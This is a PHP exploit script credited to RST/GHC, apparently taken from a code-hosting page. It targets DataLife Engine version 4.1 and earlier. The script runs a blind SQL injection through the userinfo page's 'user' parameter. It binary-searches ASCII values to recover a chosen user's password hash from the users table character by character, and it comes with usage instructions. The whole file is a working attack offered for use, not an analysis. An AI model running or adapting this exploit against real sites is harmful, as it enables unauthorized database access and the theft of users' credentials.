99 lines
2.8 KiB
Plaintext
99 lines
2.8 KiB
Plaintext
<?php
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error_reporting (E_ERROR);
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ini_set("max_execution_time",0);
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echo '
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+========================================+
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| RST/GHC Datalife SQL injection exploit |
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+========================================+
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< > Lite Version for DLE <=4.1 < >
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';
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if ($argc < 2 ){
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print " Usage: " . $argv[0] . " <host> <user> [table prefix]\n";
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print " ex.: " . $argv[0] . " datalife.engine.net admin\n";
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credits();
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exit;
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}
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//DEFINE USER ID
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$urla = 'http://' . $argv[1] . '/index.php?subaction=userinfo&user=' . $argv[2];
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$result = file_get_contents($urla);
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$str1 = 'user='; #index.php?do=pm&doaction=newpm&user=
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$position = strpos($result, $str1);
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if ($position === false){ print "\n\rSorry, no match found for user " . $argv[2]; credits();}
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$str2 = '">';
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$pos = strpos($result, $str2, $position);
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$pos1 = $position+5;
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$user_id = intval(substr($result, $pos1, $pos-$pos1));
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print "Trying to get hash for password of user ". $argv[2] ." with id=" . $user_id . ":\n";
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//SOME defines (aka CONFIG =))
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if (empty($argv[3])){ $prefix = 'dle_';} #define prefix of the tables. try to find it yourself =) it is easy =)
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else {$prefix = $argv[3];}
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$min = 48; # 0
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$max = 122; # z
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if (check(">$min", 1) == 0 && check("<$max", 1) == 0) {print "\n Site is unvulnerable..."; credits();}
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for ($sn=1; $sn <= 32; $sn++) {
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blind($sn, $min, $max);
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}
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credits();
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// REQUEST function
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function check($crcheck, $sn)
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{
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global $argv, $user_id, $prefix;
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$host = 'http://' . $argv[1] . '/index.php'; # argv[1] - host
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$name = $argv[2]; #user name
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$query = '?subaction=userinfo&user=' . $name .'%2527%20and%20ascii(substring((SELECT%20password%20FROM%20' . $prefix. 'users%20WHERE%20user_id='. $user_id .'),' . $sn . ',1))' .$crcheck . '/*'; #
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$http = $host . $query;
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#DEBUG
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#print $http . "\n";
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$result = file_get_contents($http);
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// checking the answer
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$string = ': '.$name.'</h2>'; #CORRECT it FOR your version, kids =)
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#good idea is: 'do=pm&doaction=newpm&user='.$user_id;
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if (eregi($string, $result)) { return 1; }
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return 0;
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}
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//range function
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function blind($sn, $fmin, $fmax)
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{
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if (($fmax-$fmin)<5) { if (crack($fmin, $fmax, $sn) == 0){print "\n\rEXPLOIT FAILED..."; credits();} return;}
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$compare = intval($fmin + ($fmax-$fmin)/2);
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$crcheck = ">". $compare;
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if ( check($crcheck, $sn) == 1 ) {
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blind($sn, $compare, $fmax);
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}
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else {
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blind($sn, $fmin, $compare+1); }
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}
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//brute function
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function crack($cmin, $cmax, $sn)
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{
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for ($i=$cmin; $i <=$cmax; $i++){
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$crcheck = "=$i";
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if (check($crcheck, $sn) == 1){print chr($i); return 1;}
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}
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return 0;
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}
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function credits(){
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print "\n\n+========================================+\n\r Credits: 1dt.w0lf & foster \n\r Copyright (c) RST/GHC";
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print "\n\r http://rst.void.ru && http://ghc.ru\n\r+========================================+\n";
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exit;
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}
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?>
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